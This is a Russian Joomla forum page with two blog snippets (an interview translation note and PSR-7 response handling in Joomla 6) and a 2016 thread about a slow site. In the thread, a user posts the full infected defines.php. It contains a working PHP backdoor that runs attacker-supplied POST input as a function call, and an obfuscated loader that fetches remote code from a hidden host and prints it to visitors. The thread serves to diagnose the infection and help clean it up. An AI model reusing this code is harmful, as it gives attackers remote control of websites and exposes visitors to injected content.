Новости Joomla

Перевод и публикация интервью с Joomla евангелистом на греческом портале Joomla

Перевод и публикация интервью на греческом портале Joomla 🇬🇷

Утро, просматриваешь входящие письма и изучаешь новости и внезапно обнаруживаешь, что инициатива, которую ты начал, подхватывается другими людьми. 🎉

Недавно я взял интервью у Билла (Василиса) Коциаса - руководителя студии, читающего лекции в университете и популяризатора Joomla в Греции. Это интервью из журнала NorrNext, в оригинале на английском, теперь доступно на греческом языке и опубликовано на портале joomla.gr. 🎉

До чего же приятно… 😇😊 Работа замечена и с ней посчитали необходимым ознакомить аудиторию страны, в которой Билл читает лекции. И это солнечная Греция - страна, страна, с которой Россию многое связывает. 🇬🇷🇷🇺🕊

Смотрю на греческий алфавит и тут же рисуются картины белоснежных зданий в окружении винограда и амфор, красивых женщин в сандалиях и мужественных воинов, охраняющих покой полисов, в которых ученые мужи работают над трудами, позже вошедшими в века. Красиво! 😇Но вернемся к интервью.

Из него вы узнаете, что в Греции доля Joomla среди CMS занимает порядка 30-40%. По моему мнению это - самый высокий показатель во всем мире. Также чтение лекций о Joomla в университетах позволит привести новых пользователей и к тому же молодое поколение. Ну и огромное кол-во сертификтатов Билла на стене (смотрим фото в статье) свидетельствует о том, что Joomla может применяться как профессиональный инструмент.

🌐 Оригинальное интервью (на английском)
🇬🇷 Интервью на греческом портале (joomla.gr)

Что насчет перевода на русский? Увы, времени всего 24 часа в сутках. Я продолжаю готовить новые интервью. Возможно, после завершения выпуска журнала, рассмотрю перевод некоторых интервью на русский. Но я об этом не говорил. 😊 В блоге @eugenius_blog публикую анонсы интересных событий из мира Joomla, интервью, уроки и полезные советы, а также делюсь мыслями:, связанными с разработкой и веб-дизайном.

Обработка HTTP ответа в Joomla 6+. Изменения по сравнению с Joomla 3 - Joomla 5

👩‍💻 Обработка HTTP ответа в Joomla 6+. Изменения по сравнению с Joomla 3 - Joomla 5.В Joomla для выполнения внешних запросов из PHP к сторонним API используется класс Joomla\Http\Http напрямую или же Joomla\Http\HttpFactory, который возвращает для работы преднастроенный по умолчанию класс Http. О работе с HTTP-запросами подробно рассказывалось в статье 2021 года Создание внешних запросов с использованием HttpFactory (Joomla). Некоторые изменения касаются работы с ответами на запросы. Например, наш запрос:
use Joomla\Http\HttpFactory;$http = (new HttpFactory)->getHttp($options, ['curl', 'stream']);$response = $http->get('https://any-url.ru/api/any/endpoint');
Раньше можно было получить код ответа или тело ответа как свойство $response - $response->code или $response->body. Однако, Joomla, начиная с Joomla 4 во многом переходит на стандарты PSR. В частности для работы с HTTP-ответами - на PSR-7. Также хорошая статья на Хабре о PSR-7: PSR-7 в примерах.
Прямое обращение к свойствам code, headers, body объявлено устаревшим в Joomla 6.0.0 и обещают удалить в Joomla 7.0.0.
Вместо этого нужно работать с HTTP-ответом по стандартам PSR-7. Код ответа.Было $response->code. Стало $response->getStatusCode().Заголовки ответа.Было $response->headers. Стало $response->getHeaders().Тело ответа.Было $response->body. Стало (string)$response->getContents().В тело ответа теперь приходит не строка, а поток - объект класса Laminas\Diactoros\Stream. Поэтому его нужно привести к строке (если это json, к примеру): (string)$response->getContents(). Чаще всего в коде Joomla встречается именно такой вариант. Однако, есть и вариант с перемещением указателя чтения на начало потока:
// Получили ответ в виде потока$stream = $response->getBody();// "перемотали" на начало$stream->rewind();// Получили строковый ответ$json = $stream->getContents();
В итоге результат одинаковый.@joomlafeed#joomla #разработка #php

0 Пользователей и 1 Гость просматривают эту тему.
  • 28 Ответов
  • 6232 Просмотров
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Долго грузится сайт
« : 03.02.2016, 22:58:16 »
Долго грузится сайт, проблема началась пару дней назад.
Вот что пишет поддержка хостинга:
Спойлер
[свернуть]
помогите пожалуйста
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Долго грузится сайт
« Ответ #1 : 04.02.2016, 10:05:25 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #2 : 04.02.2016, 14:19:45 »
Откройте index.php в корне сайта. В самом начале какие то подозрительные строки есть?
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Долго грузится сайт
« Ответ #3 : 04.02.2016, 14:48:30 »
Отключить запись сессий в базу данных, в общих настройках Joomla
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #4 : 04.02.2016, 16:46:07 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
Ничего не делал только новости добавлял.
Посещаемость  сейчас еще меньше стала.
записи в логах последние за 2015г
Откройте index.php в корне сайта. В самом начале какие то подозрительные строки есть?
ничего не нашел
Отключить запись сессий в базу данных, в общих настройках Joomla
отключал еще дольше грузится
« Последнее редактирование: 04.02.2016, 16:49:54 от gorodok »
*

b2z

  • Глобальный модератор
  • 7287
  • 778 / 0
  • Разраблю понемногу
Re: Долго грузится сайт
« Ответ #5 : 05.02.2016, 10:05:14 »
Включите дебаг и выложите сюда отчёт профилирования (внизу страницы).
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #6 : 05.02.2016, 10:50:11 »
Включите дебаг и выложите сюда отчёт профилирования (внизу страницы).
Включил отладку системы посмотрите сайт указан у меня в профиле
*

b2z

  • Глобальный модератор
  • 7287
  • 778 / 0
  • Разраблю понемногу
Re: Долго грузится сайт
« Ответ #7 : 05.02.2016, 12:00:49 »
Ну вот теперь посмотрите - все модули, которые дают красные показатели надо поочерёдно отрубать и смотреть, как это будет влиять на загрузку. И 197 запросов на главной, это конечно много.
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Долго грузится сайт
« Ответ #8 : 05.02.2016, 19:13:33 »
Скорей всего нагружает mod_news_pro_gk5
вот его запросы самые большие
Код
195 .Время запроса: 9816.44 ms После последнего запроса: 34.32 ms
SELECT
c.id AS CID

  FROM
urp9y_categories AS c

  LEFT JOIN
urp9y_content AS content

  ON
c.id = content.catid


  WHERE
1=1

  AND ( c.id = 11)

  AND
c.extension = 'com_content'
  AND
c.published = 1
и еще

Код
196 .Время запроса: 18.54 ms После последнего запроса: 11.81 ms

*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #9 : 05.02.2016, 20:25:10 »
Модули которые были красным цветом пробовал отключать все разом ничего не поменялось. Кстати  админка тоже грузится долго, может хостинг сменить? Сегодня установил сайт на компе на OpenServer все нормально работает
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #10 : 05.02.2016, 20:31:49 »
Модули которые были красным цветом пробовал отключать все разом ничего не поменялось. Кстати  админка тоже грузится долго, может хостинг сменить? Сегодня установил сайт на компе на OpenServer все нормально работает
Мда, а что за хостер у вас?

Ради эксперимента и только ради него: слейте с хостинга все файлы, слейте базу (сделайте полный бекап). Затем удалите все оттуда - и файлы, и базу. Скачайте отсюда вашу версию Joomla и установите на хостинг. Проверьте, как работает. Если нормально - ищите проблемы в своей сборке, если так же тормозит - ищите хостера.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #11 : 05.02.2016, 20:46:36 »
Если напишу название хостинга не сочтут это здесь за рекламу?
Два месяца я на этом хостинге сайт шуршал, проблемы начались несколько дней назад. даже восстанавливал сайт не помогло
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #12 : 05.02.2016, 21:02:32 »
Если напишу название хостинга не сочтут это здесь за рекламу?
Два месяца я на этом хостинге сайт шуршал, проблемы начались несколько дней назад. даже восстанавливал сайт не помогло
Ну какая реклама с такими то багами )) Пишите, думаю модераторы не осерчают )) И сделайте эксперимент, как я писал, чисто ради интереса. Может хостер и ни при чем, может это у вас сайт в ддос-кластере уже... ))
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #13 : 06.02.2016, 22:42:35 »
Я с той же проблемой. Проблемы начались после обновления. Пару сайтов на отдельном ВДС. Один на хостинге.
Сайты с разными шаблонами и плагинами.
K2, и JBzoo
Странички грузятся по 10 секунд. Это не допустимо же!
*

wishlight

  • Гуру
  • 5072
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #14 : 07.02.2016, 09:16:59 »
Странички грузятся по 10 секунд. Это не допустимо же!

А сайты покажете?
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #15 : 07.02.2016, 14:05:41 »
А сайты покажете?
В чем проблема нашла.
Взяла откатила до предидущей версии и поэтапно заливала файлы.
Проблема нашлась в файле defines.php  в папке includes .
И так на всех сайтах.
Стали по прежнему летать.
В чем там баг. Я не знаю. Не програмистка. Хотя давно уже пора :)
*

wishlight

  • Гуру
  • 5072
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #16 : 07.02.2016, 18:41:37 »
Возможно взломали. Файлы не покажете, те что отличались?
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #17 : 08.02.2016, 00:39:01 »
То что сейчас ниже код. Если поставить свежее обновление (конкретно новый) то начинает тормозить

Код
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Долго грузится сайт
« Ответ #18 : 08.02.2016, 03:37:46 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
И никто не ответил
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #19 : 09.02.2016, 12:24:04 »
Возможно взломали. Файлы не покажете, те что отличались?

Вот код. Явно вирусняк:

Код
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart


function is_valid_url(&$url)
{
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
}

function request_url_data($url) {

    if(!is_valid_url($url))
        return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI'])? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
error_reporting(0);
$_passssword = '4a9b9533e5de7821cc23b00e921e079a';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
}
unset($_passssword);

$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
        $bad_url = true;
        break;
    }
}

$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6)!= '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
//    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
//        $url = base64_decode('a3d3czksLDI2Oy0yMDMtNzUtMDQsYW9sZCw8bG5mZGIldnduXHBsdnFgZj43NTA6Ozk7MjI1Njc5MjoxMg==');
    $url = decrypt_url('a3d3czksLDI2Oy0yMDMtNzUtMDQsYW9sZCw8bG5mZGIldnduXHBsdnFgZj43NTA6Ozk7MjI1Njc5MjoxMg==');
    $code = request_url_data($url);
//    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        $echo_done = true;
        print $decoded;
    }
}//iend
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #20 : 09.02.2016, 12:27:00 »
В чем проблема нашла.
Не нашла. Иначе бы больше такого кода на сайте небыло.

Код: php
error_reporting(0);
$_passssword = '4a9b9533e5de7821cc23b00e921e079a';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '')

Знакомая конструкция... Уже многим глаза и нервы проела...
« Последнее редактирование: 09.02.2016, 12:30:42 от SeBun »
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #21 : 09.02.2016, 14:59:12 »
Менять пароли?
И как она велась в код?
Права 644 ведь
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #22 : 09.02.2016, 15:25:19 »
Менять пароли?
И как она велась в код?
Права 644 ведь
1. Да поменяйте, только смысла в этом немного...
2. Получив доступ к сайту через уязвимости...
3. Права - не панацея. Это  как в Windows, есть у файла права "только для чтения", но даже эти права программы могут игнорировать. Что говорить о человеке, которому понадобилось сделать запись в файл? Он заходит и меняет права. Вот и все. На самом деле это немного не так, зато наглядно и понятно.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #23 : 09.02.2016, 17:05:29 »
1. Да поменяйте, только смысла в этом немного...
2. Получив доступ к сайту через уязвимости...
3. Права - не панацея. Это  как в Windows, есть у файла права "только для чтения", но даже эти права программы могут игнорировать. Что говорить о человеке, которому понадобилось сделать запись в файл? Он заходит и меняет права. Вот и все. На самом деле это немного не так, зато наглядно и понятно.
Так а ка такое могло произойти?
Шаблоны официальные, Расширения тоже. Обновления сразу же ставим...
*

jlend

  • Осваиваюсь на форуме
  • 34
  • 3 / 0
Re: Долго грузится сайт
« Ответ #24 : 09.02.2016, 21:09:28 »
Обновления сразу же ставим...
Не успели.
Пас подобрали.
и др.
*

wishlight

  • Гуру
  • 5072
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #25 : 10.02.2016, 00:48:36 »
Шелл может менять права под своим пользователем. Чистить надо все и сайты разделять.
*

Vekach

  • Захожу иногда
  • 163
  • 1 / 0
Re: Долго грузится сайт
« Ответ #26 : 10.02.2016, 10:40:08 »
в j3 вообще должны быть base64_decode ?
*

wishlight

  • Гуру
  • 5072
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #27 : 10.02.2016, 10:56:40 »
Могут быть. Отчего же нет. В самом дистрибутиве не помню, а в компонентах частенько используется.
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #28 : 10.02.2016, 11:26:15 »
в j3 вообще должны быть base64_decode ?
Есть в самом дистрибутиве. Не стоит удалять все подряд.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Сайт перестал нормально грузиться

Автор Leo1986

Ответов: 17
Просмотров: 2109
Последний ответ 11.06.2025, 13:55:08
от zilonitiz
Как конвертировать сайт Joomla в мобильное приложение?

Автор 62411

Ответов: 1
Просмотров: 1109
Последний ответ 14.06.2024, 15:31:24
от Olg
После выключения расширения лег сайт

Автор blind

Ответов: 4
Просмотров: 1482
Последний ответ 19.05.2024, 14:13:33
от blind
Google Переводчик не переводит сайт

Автор Aqua

Ответов: 1
Просмотров: 1337
Последний ответ 04.03.2024, 12:50:00
от kovAlexandr78
Долго грузятся страницы категорий

Автор SuperRomario

Ответов: 4
Просмотров: 1982
Последний ответ 03.07.2023, 17:59:07
от Wood